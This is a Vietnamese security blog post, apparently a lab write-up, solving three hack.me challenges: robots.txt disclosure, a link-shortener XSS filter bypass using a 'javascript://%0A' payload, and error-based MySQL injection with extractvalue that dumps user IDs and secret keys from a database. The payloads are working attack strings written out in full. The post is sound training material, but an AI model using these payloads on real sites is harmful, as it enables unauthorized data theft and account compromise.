Hack Me Toàn Tập Phần 1 - MTD SEC

MTD SEC

Chia Sẻ Để Thành Công

Home Top Ad

Post Top Ad

Thứ Sáu, 8 tháng 11, 2019

Hack Me Toàn Tập Phần 1


Để rèn luyện tay nghề cũng như cập nhập các lỗ hổng hack.me cung cấp cho chúng ta một môi trường test các lỗ hổng bảo mật khá hiệu quả





Từ hôm nay mình sẽ chia sẻ về cách qua các thử thách trên hack.me để các bạn có thể tham khảo từ mức dễ tới khó.





1: robots.txt vulnerability





Url: http://s117807-103161-qom.croto.hack.me/





cái tên nói lên tất cả chúng ta phải đọc robots.txt xem sao.









Chúng ta thấy dòng sau





Disallow: ;return*&:: /login.txt
Disallow: ;bio*&:: /database.txt




Giờ đọc 2 file này xem có gì.









Nhìn thấy cái này thì mình thử login kết quả không được đọc lại file robots thì thấy nó có cái





Disallow: ;return*&:: /loginsuccesfully.html 
Disallow: ;return*&:: /loginfailed.html




vậy vào thử









Kết quả thành công qua màn siêu dễ.





2: Link Shortening Website XSS





url: http://s117807-103185-zjn.croto.hack.me/





Cái này vào là rút gọn link thì chúng ta thử điền link đúng xem sao









Nhìn code tý.









Như vậy chúng ta cũng thấy cả có gì. thử xem link chuyển hướng kia có gì không.









Chúng ta thấy ở đây thằng chuyển hướng nó có cái thẻ a để chuyển hướng user





root@kali:~# curl http://s117807-103185-zjn.croto.hack.me/?9tz5c8

<a href="https://manhtuong.net/" style="display: none;" />

<script>
document.getElementsByTagName("a")[0].click();
</script>




thử các câu lệnh xss thì không được









sau đó mình nhận ra nó nhận domain phía trước nên không chạy được xss. nên mình dùng trò domain.com/payload_xss và check thì hơi đau buồn





root@kali:~# curl http://s117807-103185-zjn.croto.hack.me/?v7dl0j

<a href="https://manhtuong.net/<script>alert(1);</script>" style="display: none;" />

<script>
document.getElementsByTagName("a")[0].click();
</script>




khá là chán nên tôi đi đọc file link_shortener.js xem nó có gì thì thấy đoạn code sau:





  function shortenLink (link) { 
$.get("/ajax/shorten.php", {
"link": link
}, null, "text")
.done(handleResponse)
.fail(error.bind(null, null));
}




bắt đầu tìm kiếm google với từ khóa filter URL php thì được cái trang https://secure.php.net/manual/en/filter.filters.validate.php vô đọc một hồi thì nhận thấy các giao thức như ftp cũng được chấp nhận không phải cứ http. nên chuyển hướng qua cái khác. như trên đã test thì chúng ta không thể chạy được các payload bình thường của xss





bây giờ minh thiết kế lại payload thành





javascript://alert('xss')












bị mã hóa :| khá là căng bây giờ các ký tự đặc biệt tôi sẽ mã hóa uri xem sao trước khi submit lên ký tự %0A nghĩa là xuống dòng





javascript://
alert('xss')




javascript://%0Aalert('xss')








lần này đã OK.





3: Hack_My_Microblog









Khi vào mình thấy có ô nickname nên thử payload test đơn giản là 'or 1=1









Okay lỗi ở đây rồi giờ chúng ta tiến hành thử trong ô thougths .





' or extractvalue(rand(),concat(0x3a,version())) or '








Giải thích một chút ở đây mình cần sử dụng output của lỗi mysql để trích xuất dữ liệu nên mình dùng extractvalue Hàm lấy các kết quả được đánh giá của các truy vấn sql của tôi và nối chúng vào lỗi SQL được tạo khi dữ liệu được truyền tới ExtractValue()





Chúng ta hãy xem các bảng mà chúng ta có thể tìm thấy thông qua các ExtractValue()





' or extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema=database() LIMIT 0,1))) or '




Thông báo lỗi theo sau cho thấy có một bảng có tên comments_textkhông có triển vọng









Tôi sửa lại payload chút





' or extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema=database() LIMIT 1,1))) or '








Bây giờ tôi có thông tin tôi mong muốn, rõ ràng tên người dùng và khóa bí mật của chúng tôi sẽ được tìm thấy trong secret! Tiếp theo, tôi cần tìm các cột của bảng để có thể bắt đầu trích xuất dữ liệu









chúng ta sẽ phải lấy dữ liệu trên userid





' or extractvalue(rand(),concat(0x3a,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='secret' LIMIT 1,1))) or '








chúng ta sẽ phải dump data ra









' or extractvalue(rand(),concat(0x3a,(SELECT concat(userid,0x3a,secretkey) FROM secret LIMIT 0,1))) or '




Như vậy bài toán được giải quyết!


Không có nhận xét nào:

Đăng nhận xét

Post Top Ad